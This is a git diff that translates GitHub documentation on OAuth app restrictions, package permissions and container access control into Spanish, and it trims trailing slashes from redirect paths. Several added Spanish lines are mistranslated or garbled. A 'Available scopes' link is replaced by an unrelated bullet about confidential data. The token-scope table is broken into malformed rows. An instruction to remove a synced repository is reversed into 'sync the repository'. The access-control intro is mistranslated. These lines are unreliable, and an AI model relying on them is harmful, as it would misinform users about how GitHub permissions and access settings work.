diff --git a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
index 58dc5062de..fb5c14f224 100644
--- a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
+++ b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
@@ -2,7 +2,7 @@
 title: Acerca de las restricciones de acceso a App OAuth
 intro: 'Las organizaciones pueden elegir qué {% data variables.product.prodname_oauth_apps %} tienen acceso a sus repositorios y otros recursos al activar las restricciones de acceso a {% data variables.product.prodname_oauth_app %}.'
 redirect_from:
-  - /articles/about-third-party-application-restrictions/
+  - /articles/about-third-party-application-restrictions
   - /articles/about-oauth-app-access-restrictions
   - /github/setting-up-and-managing-organizations-and-teams/about-oauth-app-access-restrictions
 versions:
diff --git a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
index 190c58aabc..145c7eaf9d 100644
--- a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
+++ b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
@@ -2,7 +2,7 @@
 title: Aprobar aplicaciones OAuth para tu organización
 intro: 'Cuando un miembro de la organización solicita a {% data variables.product.prodname_oauth_app %} que acceda a los recursos de la organización, los propietarios de la organización pueden aprobar o rechazar la solicitud.'
 redirect_from:
-  - /articles/approving-third-party-applications-for-your-organization/
+  - /articles/approving-third-party-applications-for-your-organization
   - /articles/approving-oauth-apps-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/approving-oauth-apps-for-your-organization
 versions:
diff --git a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
index 77a70b4d2a..41ecdbe7c6 100644
--- a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
+++ b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
@@ -2,7 +2,7 @@
 title: Denegar el acceso a una App OAuth anteriormente aprobada para tu organización
 intro: 'Si una organización ya no requiere una {% data variables.product.prodname_oauth_app %} previamente autorizada, los propietarios pueden eliminar el acceso de la aplicación a los recursos de la organización.'
 redirect_from:
-  - /articles/denying-access-to-a-previously-approved-application-for-your-organization/
+  - /articles/denying-access-to-a-previously-approved-application-for-your-organization
   - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/denying-access-to-a-previously-approved-oauth-app-for-your-organization
 versions:
diff --git a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
index 16d3032abe..73a3845f3c 100644
--- a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
@@ -2,7 +2,7 @@
 title: Inhabilitar las restricciones de acceso de las App OAuth para tu organización
 intro: 'Los propietarios de la organización pueden inhabilitar las restricciones de las {% data variables.product.prodname_oauth_apps %} que tienen acceso a los recursos de la organización.'
 redirect_from:
-  - /articles/disabling-third-party-application-restrictions-for-your-organization/
+  - /articles/disabling-third-party-application-restrictions-for-your-organization
   - /articles/disabling-oauth-app-access-restrictions-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/disabling-oauth-app-access-restrictions-for-your-organization
 versions:
diff --git a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
index 4ae814f3b7..e7908d6414 100644
--- a/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/es-ES/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
@@ -2,7 +2,7 @@
 title: Habilitar las restricciones de acceso de las App OAuth para tu organización
 intro: 'Los propietarios de la organización pueden habilitar las restricciones de acceso a {% data variables.product.prodname_oauth_app %} para prevenir que las aplicaciones no confiables accedan a los recursos organizacionales mientras permiten que los miembros de dicha organización utilicen las {% data variables.product.prodname_oauth_apps %} para sus cuentas personales.'
 redirect_from:
-  - /articles/enabling-third-party-application-restrictions-for-your-organization/
+  - /articles/enabling-third-party-application-restrictions-for-your-organization
   - /articles/enabling-oauth-app-access-restrictions-for-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/enabling-oauth-app-access-restrictions-for-your-organization
 versions:
diff --git a/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md
index e746043111..95742ced12 100644
--- a/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md
+++ b/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md
@@ -1,85 +1,87 @@
 ---
-title: About permissions for GitHub Packages
-intro: Learn about how to manage permissions for your packages.
+title: Acerca de los permisos para los Paquetes de GitHub
+intro: Aprende cómo administrar los permisos de tus paquetes.
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: About permissions
+shortTitle: Acerca de los permisos
 ---
 
 {% ifversion fpt or ghec %}
-The permissions for packages are either repository-scoped or user/organization-scoped.
+Los permisos de los paquetes pueden ser con alcance de repositorio o de usuario/organización.
 {% endif %}
 
-## Permissions for repository-scoped packages
+## Permisos para los paquetes con alcance de repositorio
 
-A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %}
+Un paquete con alcance de repositorio hereda los permisos y la visibilidad del repositorio al que pertenece el paquete. Puedes encontrar un paquete con alcance de un repositorio específico si vas a la página principal de este y haces clic en el enlace de **Paquetes** a la derecha de la página. {% ifversion fpt or ghec %}Para obtener más información, consulta la sección "[Conectar un repositorio con un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)".{% endif %}
 
-The {% data variables.product.prodname_registry %} registries below use repository-scoped permissions:
+Los registros del {% data variables.product.prodname_registry %} que se mencionan a continuación utilizan permisos con alcance de repositorio:
 
   {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %}
-  - npm registry
-  - RubyGems registry
-  - Apache Maven registry
-  - NuGet registry
+  - Registro de npm
+  - Registro de RubyGems
+  - Registro de Apache maven
+  - Registro de NuGet
 
 {% ifversion fpt or ghec %}
-## Granular permissions for user/organization-scoped packages
+## Permisos granulares para paquetes con alcance de organización/usuario
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package.
+Los paquetes con permisos granulares tienen un alcance de una cuenta personal o de organización. Puedes cambiar el control de accesos y la visibilidad del paquete de forma separada desde un repositorio que esté conectado (o enlazado) a un paquete.
 
-Currently, only the {% data variables.product.prodname_container_registry %} offers granular permissions for your container image packages.
+Actualmente, solo el {% data variables.product.prodname_container_registry %} ofrece permisos granulares para tus paquetes de imagen de contenedor.
 
-## Visibility and access permissions for container images
+## Permisos de visibilidad y acceso para las imágenes de contenedor
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+Para obtener más información, consulta la sección "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)".
 
 {% endif %}
 
-## About scopes and permissions for package registries
+## Administrar paquetes
 
-To use or manage a package hosted by a package registry, you must use a token with the appropriate scope, and your user account must have appropriate permissions.
+Para utilizar o administrar un paquete que hospede un registro de paquete, debes utilizar un token con el alcance adecuado y tu cuenta de usuario debe tener los permisos adecuados.
 
-For example:
--  To download and install packages from a repository, your token must have the `read:packages` scope, and your user account must have read permission.
-- {% ifversion fpt or ghes > 3.0 or ghec %}To delete a package on {% data variables.product.product_name %}, your token must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages.{% elsif ghes < 3.1 %}To delete a specified version of a private package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
+Por ejemplo:
+-  Para descargar e instalar los paquetes desde un repositorio, tu token debe tener el alcance de `read:packages` y tu cuenta de usuario debe tener permisos de lectura.
+- {% ifversion fpt or ghes > 3.0 or ghec %}Para borrar un paquete en {% data variables.product.product_name %}, tu token deberá tener por lo menos los alcances de `delete:packages` y `read:packages`. El alcance de `repo` también se requiere para los paquetes con dicho alcance.{% elsif ghes < 3.1 %}Para borrar una versión específica de un paquete privado en {% data variables.product.product_name %}, tu token debe tener el alcance `delete:packages` y `repo`. Los paquetes públicos no pueden borrarse.{% elsif ghae %}Para borrar una versión específica de un paquete en {% data variables.product.product_name %}, tu token debe tener los alcances `delete:packages` y `repo`.{% endif %} Para obtener más información, consulta la sección "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Borrar y restablecer un paquete](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Borrar un paquete](/packages/learn-github-packages/deleting-a-package){% endif %}".
 
-| Scope | Description | Required permission |
-| --- | --- | --- |
-|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read |
-|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write |
-| `delete:packages` | {% ifversion fpt or ghes > 3.0 or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Delete specified versions of private packages from {% data variables.product.prodname_registry %}{% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin |
-| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin |
+| Ámbito                                                                                                                                                                                                                                                                                                                                                                 | Descripción                                                                          | Permiso requerido |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ | ----------------- |
+| `read:packages`                                                                                                                                                                                                                                                                                                                                                        | Descarga e instala paquetes de {% data variables.product.prodname_registry %}        | lectura           |
+| `write:packages`                                                                                                                                                                                                                                                                                                                                                       | Carga y publica paquetes en {% data variables.product.prodname_registry %}           | escritura         |
+| `delete:packages`                                                                                                                                                                                                                                                                                                                                                      |                                                                                      |                   |
+| {% ifversion fpt or ghes > 3.0 or ghec %} Borrar paquetes del {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Borrar versiones específicas de paquetes privados en el {% data variables.product.prodname_registry %}{% elsif ghae %} Borrar versiones específicas de paquetes en el {% data variables.product.prodname_registry %} {% endif %} |                                                                                      |                   |
+| admin                                                                                                                                                                                                                                                                                                                                                                  |                                                                                      |                   |
+| `repo`                                                                                                                                                                                                                                                                                                                                                                 | Carga y borra los paquetes (junto con los `write:packages`, o los `delete:packages`) | escritura o admin |
 
-When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a personal access token.
+Cuando creas un flujo de trabajo de {% data variables.product.prodname_actions %}, puedes usar el `GITHUB_TOKEN` para publicar e instalar paquetes en {% data variables.product.prodname_registry %} sin la necesidad de almacenar y administrar un token de acceso personal.
 
-For more information, see:{% ifversion fpt or ghec %}
-- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
-- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token/)"
-- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"
+Para obtener más información, consulta:{% ifversion fpt or ghec %}
+- "[Configurar el control de accesos y la visibilidad de un paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
+- "[Publicar e instalar un paquete con {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
+- "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token/)"
+- Tu paquete publicado contiene datos confidenciales, como violaciones del RGPD, claves de API o información de identificación personal
 
-## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows
+## Mantener el acceso a los paquetes en los flujos de trabajo de {% data variables.product.prodname_actions %}
 
-To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package.
+Para garantizar que tus flujos de trabajo mantendrán el acceso a tus paquetes, asegúrate de que estás utilizando el token de acceso correcto en tu flujo de trabajo y de haber habilitado el acceso a las {% data variables.product.prodname_actions %} para tu paquete.
 
-For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)."
+Para ver un antecedente más conceptual en {% data variables.product.prodname_actions %} o encontrar ejemplos de uso de paquetes en los flujos de trabajo, consulta la sección "[Administrar los Paquetes de GitHub utilizando flujos de trabajo de Github Actions](/packages/managing-github-packages-using-github-actions-workflows)".
 
-### Access tokens  
+### Tokens de acceso
 
-- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`.
-- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a personal access token
+- Para publicar paquetes asociados con el repositorio del flujo de trabajo, utiliza un `GITHUB_TOKEN`.
+- Para instalar paquetes asociados con otros repositorios privados a los cuales no puede acceder el `GITHUB_TOKEN`, utiliza un token de acceso personal
 
-For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+Para obtener más información sobre el `GITHUB_TOKEN` que se utiliza en los flujos de trabajo de {% data variables.product.prodname_actions %}, consulta la sección "[Autenticarse en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)".
 
 {% ifversion fpt or ghec %}
-### {% data variables.product.prodname_actions %} access for container images
+### Acceso a las {% data variables.product.prodname_actions %} para las imágenes de contenedor
 
-To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)."
+Para garantizar que tus flujos de trabajo tienen acceso a tu imagen de contenedor, debes habilitar el acceso a las {% data variables.product.prodname_actions %} para los repositorios en donde se ejecuta tu flujo de trabajo. Puedes encontrar este ajuste en la página de configuración de tu paquete. Para obtener más información, consulta la sección "[Garantizar el acceso de los flujos de trabajo a tu paquete](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)".
 
 {% endif %}
diff --git a/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
index 293248895a..8f0effce89 100644
--- a/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
+++ b/translations/es-ES/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a package's access control and visibility
-intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.'
+title: Configurar la visibilidad y el control de accesos de un paquete
+intro: 'Elige quién ha leído, escrito, o administrado el acceso a tu imagen de contenedor y la visibilidad de tus imágenes de contenedor en {% data variables.product.prodname_dotcom %}.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images
@@ -8,166 +8,152 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Access control & visibility
+shortTitle: Visibilidad & control de accesos
 ---
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to.
+Los paquetes con permisos granulares tienen un alcance de una cuenta personal o de organización. Puedes cambiar la visibilidad y el control de accesos de un paquete por separado desde el repositorio al cual está conectado (o enlazado).
 
-Currently, you can only use granular permissions with the {% data variables.product.prodname_container_registry %}. Granular permissions are not supported in our other package registries, such as the npm registry.
+Actualmente, solo puedes utilizar permisos granulares con el {% data variables.product.prodname_container_registry %}. Los permisos granulares no son compatibles en nuestros otros registros de paquetes, tales como el registro de npm.
 
-For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)."
+Para obtener más información sobre los permisos de los paquetes con alcance de repositorio, los alcances relacionados con paquetes para los PAT o para administrar permisos para los flujos de trabajo de tus acciones, consulta la sección "[Acerca de los permisos para los Paquetes de GitHub](/packages/learn-github-packages/about-permissions-for-github-packages)".
 
-## Visibility and access permissions for container images
+## Permisos de visibilidad y acceso para las imágenes de contenedor
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-## Configuring access to container images for your personal account
+## Configurar el acceso a las imágenes de contenedor para tu cuenta personal
 
-If you have admin permissions to a container image that's owned by a user account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+Si tienes permisos administrativos en una imagen de contenedor que pertenece a una cuenta de usuario, puedes asignar roles de lectura, escritura o administrador a otros usuarios. Para obtener más información acerca de estos roles de permisos, consulta la sección "[Permisos de visibilidad y acceso para las imágenes de contenedor](#visibility-and-access-permissions-for-container-images)".
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+Si tu paquete es privado o interno y le pertenece a una organización, entonces solo puedes darles acceso a otros miembros o equipos de la misma.
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a user account.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. En la página de configuración del paquete, da clic en **Invitar equipos o personas** e ingresa el nombre real, nombre de usuario, o dirección de correo electrónico de la persona a la que quieras dar acceso. No se puede otorgar acceso a los equipos para aquellas imágenes de contenedor que pertenezcan a una cuenta de usuario. ![Botón de invitación para el acceso al contenedor](/assets/images/help/package-registry/container-access-invite.png)
+1. Junto al equipo o nombre de usuario, utiliza el menú desplegable de "Rol" para seleccionar un nivel de permisos que desees. ![Opciones de acceso al contenedor](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users will automatically be given access and don't need to accept an invitation first.
+Se otorgará acceso automáticamente a los usuarios seleccionados y no necesitarán aceptar una invitación previamente.
 
-## Configuring access to container images for an organization
+## Configurar el acceso a las imágenes de contenedor para una organización
 
-If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+Si tienes permisos administrativos en una imágen de contenedor que pertenezca a una organización, puedes asignar roles de lectura, escritura o administración a otros usuarios y equipos. Para obtener más información acerca de estos roles de permisos, consulta la sección "[Permisos de visibilidad y acceso para las imágenes de contenedor](#visibility-and-access-permissions-for-container-images)".
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+Si tu paquete es privado o interno y le pertenece a una organización, entonces solo puedes darles acceso a otros miembros o equipos de la misma.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. En la página de configuración del paquete, da clic en **Invitar equipos o personas** e ingresa el nombre real, nombre de usuario, o dirección de correo electrónico de la persona a la que quieras dar acceso. También puedes ingresar un nombre de equipo desde la organización para otorgar acceso a todos los miembros de éste. ![Botón de invitación para el acceso al contenedor](/assets/images/help/package-registry/container-access-invite.png)
+1. Junto al equipo o nombre de usuario, utiliza el menú desplegable de "Rol" para seleccionar un nivel de permisos que desees. ![Opciones de acceso al contenedor](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users or teams will automatically be given access and don't need to accept an invitation first.
+Se otorgará acceso automáticamente a los usuarios o equipos seleccionados y no necesitarán aceptar una invitación previamente.
 
-## Inheriting access for a container image from a repository
+## Heredar el acceso a una imagen de contenedor desde un repositorio
 
-To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default.
+Para simplificar la administración de paquetes a través de los flujos de trabajo de {% data variables.product.prodname_actions %}, puedes habilitar a una imagen de contenedor para que herede los permisos de acceso de un repositorio predeterminadamente.
 
-If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions.
+Si heredas los permisos de acceso del repositorio en donde se almacenan los flujos de trabajo de tu paquete, entonces puedes ajustar el acceso al mismo a través de los permisos del repositorio.
 
-Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first.
+Una vez que el repositorio se sincronice, no podrás acceder a la configuración de acceso granular del paquete. Para personalizar los permisos de paquete a través de la configuración de acceso granular del paquete, primero debes sincronizar el repositorio.
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-2. Under "Repository source", select **Inherit access from repository (recommended)**.
-  ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
+2. Debajo de "Fuente del repositorio", selecciona **Heredar el acceso del repositorio (recomendado)**. ![Casilla de verificación de heredar el acceso del repositorio](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
 
-## Ensuring workflow access to your package
+## Garantizar el acceso al flujo de trabajo para tu paquete
 
-To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored.
+Para garantizar que el flujo de trabajo de {% data variables.product.prodname_actions %} tiene acceso a tu paquete, debes otorgar acceso explícito al repositorio en donde se almacena el flujo de trabajo.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package.
+El repositorio especificado no necesita ser aquél en donde se mantiene el código fuente del paquete. Puedes dar acceso de flujo de trabajo a un paquete para varios repositorios.
 
 {% note %}
 
-**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+**Nota:** El sincronizar tu imagen de contenedor con un repositorio mediante la opción de menú **Acceso a las acciones** es diferente que conectar tu contenedor a un repositorio. Para obtener más información sobre cómo enlazar un repositorio a tu contenedor, consulta la sección "[Conectar un repositorio a un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)".
 
 {% endnote %}
 
-### {% data variables.product.prodname_actions %} access for user-account-owned container images 
+### Acceso de {% data variables.product.prodname_actions %} para las imágenes de contenedor que pertenecen a cuentas de usuario
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. Para garantizar que tu flujo de trabajo tiene acceso a tu paquete de contenedor, debes agregar el repositorio en donde se almacena el flujo de trabajo. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png)
+3. Utilizando el menú desplegable de "rol", selecciona el nivel de acceso predeterminado que te gustaría que tuviera el repositorio en tu imagen de contenedor. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)."
+Para personalizar aún más el acceso a tu imagen de contenedor, consulta la sección "[Configurar el acceso a las imágenes de contenedor para tu cuenta personal](#configuring-access-to-container-images-for-your-personal-account)".
 
-### {% data variables.product.prodname_actions %} access for organization-owned container images 
+### Acceso a las {% data variables.product.prodname_actions %} para las imágenes de contenedor que pertenezcan a organizaciones
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. En la barra lateral izquierda, haz clic en **Acceso a las acciones**. ![Opción "Acceso a las acciones" en el menú izquierdo](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. Haz clic en **Agregar repositorio** y busca el repositorio que quieres agregar. ![Botón "Agregar repositorio"](/assets/images/help/package-registry/add-repository-button.png)
+3. Selecciona el nivel de acceso predeterminado que te gustaría que tuvieran los miembros del repositorio en tu imagen de contenedor utilizando el menú desplegable de "rol". No se incluirá a los colaboradores externos. ![Niveles de acceso de permisos para otorgar a los repositorios](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)."
+Para personalizar aún más el acceso a tu imagen de contenedor, consulta la sección "[Configurar el acceso a las imágenes de contenedor de una organización](#configuring-access-to-container-images-for-an-organization)".
 
-## Ensuring {% data variables.product.prodname_codespaces %} access to your package
+## Asegurarse de que {% data variables.product.prodname_codespaces %} puede acceder a tu paquete
 
-By default, a codespace can seamlessly access certain packages in the {% data variables.product.prodname_dotcom %} Container Registry, such as those published in the same repository with the **Inherit access** option selected. For more information on which access is automatically configured, see "[Accessing images stored in {% data variables.product.prodname_dotcom %} Container Registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-github-container-registry)."
+Predeterminadamente, un codespace puede acceder sin problema a algunos paquetes en el Registro de Contenedores de {% data variables.product.prodname_dotcom %}, tales como aquellos que se publican en el mismo repositorio con la opción de **Heredar acceso** seleccionada. Para obtener más información sobre qué tipo de acceso se configura automáticamente, consulta la sección "[Acceder a las imágenes almacenadas en el Registro de Contenedores de {% data variables.product.prodname_dotcom %}](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry#accessing-images-stored-in-github-container-registry)".
 
-Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched.
+De otra manera, para asegurarte de que un codespace tiene acceso a tu paquete, debes otorgar acceso al repositorio en donde se esté lanzando dicho codespace.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package.
+El repositorio especificado no necesita ser aquél en donde se mantiene el código fuente del paquete. Puedes otorgar acceso a un paquete para los codespaces en diversos repositorios.
 
-Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access.
+Una vez que hayas seleccionado el paquete que quieres compartir con un codespace de un repositorio, puedes otorgar este acceso de repositorio.
 
-1. In the right sidebar, click **Package settings**.
+1. En la barra lateral derecha, haz clic en **Ajustes de paquete**.
 
-   !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png)
-   
-2. Under "Manage Codespaces access", click **Add repository**.
+   ![Opción de "Ajustes de paquete" en el menú derecho](/assets/images/help/package-registry/package-settings.png)
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
+2. Debajo de "Administrar el acceso de los codespaces", haz clic en **Agregar repositorio**.
 
-3. Search for the repository you want to add.
